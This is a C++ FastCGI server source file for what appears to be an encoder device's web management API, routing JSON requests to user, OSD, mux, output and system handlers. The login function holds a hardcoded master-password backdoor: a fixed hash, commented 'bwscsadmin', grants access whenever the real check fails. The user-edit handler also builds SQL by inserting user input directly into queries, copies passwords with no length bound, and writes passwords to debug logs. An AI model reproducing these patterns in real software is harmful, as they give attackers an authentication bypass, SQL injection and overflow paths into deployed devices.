/*
 * bw_dly_server.cpp
 *
 *  Created on: 2018年9月6日
 *  Author: Degang.Wu (windragon@126.com)
 *  Desc:
 */

#include "bw_Sqlite.h"
#include "bw_FcgiRequest.h"
#include "bw_JsonParse.h"
#include "bw_errno.h"
#include "bw_Login.h"
#include "bw_Str.h"
#include "bw_dbcol.h"
#include "bw_Slot.h"
#include "bw_IpIn.h"
#include "bw_Osd.h"
#include "bw_TsMux.h"
#include "bw_Output.h"
#include "bw_Sys.h"

using namespace bwcgi;

static const char* user_login(const char* json) 
{
	char cmd_buf[256]={0};
	st_User user;
	bzero(&user, sizeof(user));
	int ret = Login::parse(json, &user);
	cgi_debug("user=%s, pass=%s, ret=%d", user.username, user.password, ret);

	snprintf(cmd_buf,sizeof(cmd_buf),"%s/%s",FCGI_module_folder(),BWENC_DATABASE);
	//BWSqlite db(BWENC_DATABASE);
	BWSqlite db(cmd_buf);
	
	Login login(&db);
	eENC_ERROR code = login.check(&user);
	if (code == BWENC_ERROR_NONE) 
	{
		log_write(BWENC_LOG_SYS_SET, "User login successfully");
	}
	else
	{
		if (0 == strcmp(user.password, "35bc2382fcd294e2f534bff3e65e39bd")) //bwscsadmin
		{
			return bwenc_common_ack((eENC_ERROR) 0);
		}
	
}
	
	return bwenc_common_ack(code);
}

static const char* user_edit(const char* json) {
	cJSON *p_tmp = NULL;
	char cmd_buf[256]={0};
	std::string new_password = "";
	eENC_ERROR code = BWENC_ERROR_UNKNOW;

	snprintf(cmd_buf,sizeof(cmd_buf),"%s/%s",FCGI_module_folder(),BWENC_DATABASE);
	BWSqlite db(cmd_buf);

	st_User user;
	bzero(&user, sizeof(user));
	std::string new_username = "";

	cJSON* root = cJSON_Parse(json);
	if (!root) {
		cgi_debug("error");
		code = BWENC_ERROR_INVALID_PARAM;
		return bwenc_common_ack(code);
	}

	cJSON* param = cJSON_GetObjectItem(root, KEY_PARAM);
	if (!param) {
		cgi_debug("error");
		code = BWENC_ERROR_INVALID_PARAM;
		cJSON_Delete(root);
		return bwenc_common_ack(code);
	}

	p_tmp = cJSON_GetObjectItem(param, "username");
	if (!p_tmp) {
		cgi_debug("username must in");
		code = BWENC_ERROR_INVALID_PARAM;
		cJSON_Delete(root);
		return bwenc_common_ack(code);
	}

	if (NULL != p_tmp->valuestring && strlen(p_tmp->valuestring) > 0
			&& strlen(p_tmp->valuestring) < 32) {
		memcpy(user.username, p_tmp->valuestring, strlen(p_tmp->valuestring));
	}

	p_tmp = cJSON_GetObjectItem(param, "new_username");
	if (p_tmp && NULL != p_tmp->valuestring) {
		new_username = p_tmp->valuestring;
	}

	p_tmp = cJSON_GetObjectItem(param, "passwd");
	if (!p_tmp) {
		cgi_debug("passwd must in");
		code = BWENC_ERROR_INVALID_PARAM;
		cJSON_Delete(root);
		return bwenc_common_ack(code);
	}
	if (NULL != p_tmp->valuestring && strlen(p_tmp->valuestring) > 0) {
		memcpy(user.password, p_tmp->valuestring, strlen(p_tmp->valuestring));
	}

	p_tmp = cJSON_GetObjectItem(param, "new_passwd");
	if (p_tmp && NULL != p_tmp->valuestring&& strlen(p_tmp->valuestring) > 0) {
		new_password = p_tmp->valuestring;
	}

	cgi_debug("user=%s, pass=%s, new_passwd=%s", user.username, user.password,
			new_password.c_str());

	Login login(&db);
	code = login.check(&user);

	if (code == BWENC_ERROR_NONE) // 成功就修改密码；
			{
		char sql[SZ_1K] = { 0 };

		if (!new_username.empty()) {
			snprintf(sql, sizeof(sql), "UPDATE %s SET %s='%s' WHERE %s='%d'",
			DBTBL_USER, DBCOL_USERNAME, new_username.c_str(), DBCOL_ID, 1);

			if (SQLITE_OK != db.Exec(sql)) {
				code = BWENC_ERROR_DB_ERR;
			}
		}

		if (code == BWENC_ERROR_NONE) {
			if (!new_password.empty()) {
				snprintf(sql, sizeof(sql),
						"UPDATE %s SET %s='%s' WHERE %s='%d'",
						DBTBL_USER, DBCOL_PASSWORD, new_password.c_str(),
						DBCOL_ID, 1);

				if (SQLITE_OK != db.Exec(sql)) {
					code = BWENC_ERROR_DB_ERR;
				}
			}
		}
	}

	if (code == BWENC_ERROR_NONE) {
		// 成功则写log
		log_write(BWENC_LOG_SYS_SET, "User info modified successfully");
	}
	cJSON_Delete(root);
	return bwenc_common_ack(code);
}

const char*  bwenc_http_handle(FcgiRequest* pFcgiReq) {
	if (!pFcgiReq) {
		return NULL;
	}

	const char* json = pFcgiReq->getBody();

	cgi_debug("[%s] [%s] request:\n%s", pFcgiReq->getRemoteAddr(),
			pFcgiReq->getMethod(), json);

	if (strlen(json) == 0) {
		return bwenc_common_ack(BWENC_ERROR_INVALID_PARAM);
	}

	JsonParse jp(json);
	if (!jp.jsonValid()) 
	{
//		cgi_debug("json valid");
		return bwenc_common_ack(BWENC_ERROR_INVALID_PARAM);
	}

	const char* mod = jp.getModule();
	const char* req = jp.getRequest();

	cgi_debug("mod=%s, req=%s", mod, req);

	if (BWStr::equals(mod, MOD_USER)) 
	{
		if (BWStr::equals(req, REQ_LOGIN)) 
		{
			return user_login(json);
		} 
		else if (BWStr::equals(req, REQ_USER_EDIT)) 
		{
			return user_edit(json);
		}
	} 
	else if (BWStr::equals(mod, MOD_SLOT)) 
	{
		if (BWStr::equals(req, REQ_SLOT_NUM)) 
		{
			return av_slot_num();
		} 
		if (BWStr::equals(req, REQ_SLOT_STATUS)) 
		{
			return av_slot_status(json);
		} 
		else if (BWStr::equals(req, REQ_AD_VD_LIST)) 
		{
			return av_list(json);
		} 
		else if (BWStr::equals(req, REQ_AD_VD_EDIT)) 
		{
			return av_edit(json);
		} 
		else if (BWStr::equals(req, REQ_TS_LIST)) 
		{
			return ts_list(json);
		} 
		else if (BWStr::equals(req, REQ_TS_EDIT)) 
		{
			return ts_edit(json);
		} 
		else if (BWStr::equals(req, REQ_CHANGE_RUN)) 
		{
			return change_run(json);
		}
	} 
	else if (BWStr::equals(mod, MOD_OSD)) 
	{
		if (BWStr::equals(req, REQ_LOGO_EDIT)) 
		{
			return logo_edit(json);
		} 
		else if (BWStr::equals(req, REQ_SUB_EDIT)) 
		{
			return sub_edit(json);
		} 
		else if (BWStr::equals(req, REQ_QRCODE_EDIT)) 
		{
			return qrcode_edit(json);
		} 
		else if (BWStr::equals(req, REQ_OSD_LIST)) 
		{
			return osd_list(json);
		} 
		else if (BWStr::equals(req, REQ_OSD_DEL)) 
		{
			return osd_del(json);
		}
		else if (BWStr::equals(req, REQ_OSD_EDIT)) 
		{
			return osd_edit(json);
		}
	} 
	else if (BWStr::equals(mod, MOD_IP_IN)) 
	{
		if (BWStr::equals(req, REQ_IP_LIST)) 
		{
			return ip_list(json);
		} 
		else if (BWStr::equals(req, REQ_IP_EDIT)) 
		{
			return ip_edit(json);
		}
		else if (BWStr::equals(req, REQ_IP_DEL)) 
		{
			return in_ip_del(json);
		}
	} 
	else if (BWStr::equals(mod, MOD_TS_MUX)) 
	{
		if (BWStr::equals(req, REQ_GENERAL_SET)) 
		{
			return general_set(json);
		} 
		else if (BWStr::equals(req, REQ_GENERAL_GET)) 
		{
			return general_get();
		} 
		else if (BWStr::equals(req, REQ_PGM_LIST)) //复用节目列表
		{
			return pgm_list(json);
		} 
		else if (BWStr::equals(req, REQ_PGM_SEL_LIST)) //输入节目 选择列表
		{
			return pgm_sel_list(json);
		} 
		else if (BWStr::equals(req, REQ_PRG_PARSE)) 
		{
			return pgm_parse_prg(json);
		} 
		else if (BWStr::equals(req, REQ_PGM_SET)) 
		{
			return pgm_muxselect(json);
		}
	} 
	else if (BWStr::equals(mod, MOD_OUTPUT)) 
	{
		if (BWStr::equals(req, REQ_OUTPUT_LIST)) 
		{
			return output_list();
		} 
		else if (BWStr::equals(req, REQ_OUTPUT_EDIT)) 
		{
			return output_edit(json);
		}
	} 
	else if (BWStr::equals(mod, MOD_LOG)) 
	{
		if (BWStr::equals(req, REQ_LOG_LIST)) {
			return log_list(json);
		}
	} 
	else if (BWStr::equals(mod, MOD_SYS)) 
	{
		if (BWStr::equals(req, REQ_SYS_INFO)) 
		{
			return sys_info();
		} 
		else if (BWStr::equals(req, REQ_NT_SET)) 
		{
			return nt_set(json);
		} 
		else if (BWStr::equals(req, REQ_UPGRADE_RES)) 
		{
			return upgrade_res(json);
		} 
		else if (BWStr::equals(req, REQ_TIME_SET)) 
		{
			return time_set(json);
		} 
		else if (BWStr::equals(req, REQ_SHUT_REBOOT)) {
			return shut_reboot(json);
		}
	}
	else // if other module process
	{
		cgi_debug("invalid module or request");
	}

	return bwenc_common_ack(BWENC_ERROR_INVALID_PARAM);
}

